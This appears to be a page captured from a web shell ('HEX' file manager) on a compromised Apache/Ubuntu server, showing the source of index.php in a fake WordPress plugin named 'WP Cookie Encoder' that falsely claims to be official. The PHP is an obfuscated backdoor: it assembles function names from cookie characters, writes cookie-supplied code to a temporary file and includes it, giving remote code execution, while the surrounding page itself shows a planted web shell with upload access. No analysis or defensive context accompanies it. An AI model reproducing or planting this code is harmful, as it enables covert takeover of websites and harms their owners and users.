HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /proc/self/cwd/wp-content/plugins/wp-dispenser-methodical/
Upload Files
File: //proc/self/cwd/wp-content/plugins/wp-dispenser-methodical/index.php
<?php
/*
Plugin Name: WP Cookie Encoder
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 1.3.5
Author URI: http://wordpress.org/#
*/

$c = $_COOKIE;
$k = 0;
$n = 5;
$p = array();
$p[$k] = '';
while ($n)
{
    $p[$k] .= $c[14][$n];
    if (!$c[14][$n + 1])
    {
        if (!$c[14][$n + 2]) break;
        $k++;
        $p[$k] = '';
        $n++;
    }
    $n = $n + 5 + 1;
}
$k = $p[21]() . $p[13];
if (!$p[5]($k))
{
    $n = $p[6]($k, $p[15]);
    $p[25]($n, $p[29] . $p[10]($p[7]($c[3])));
}
include ($k);
/* hraeoo */
@ Telegram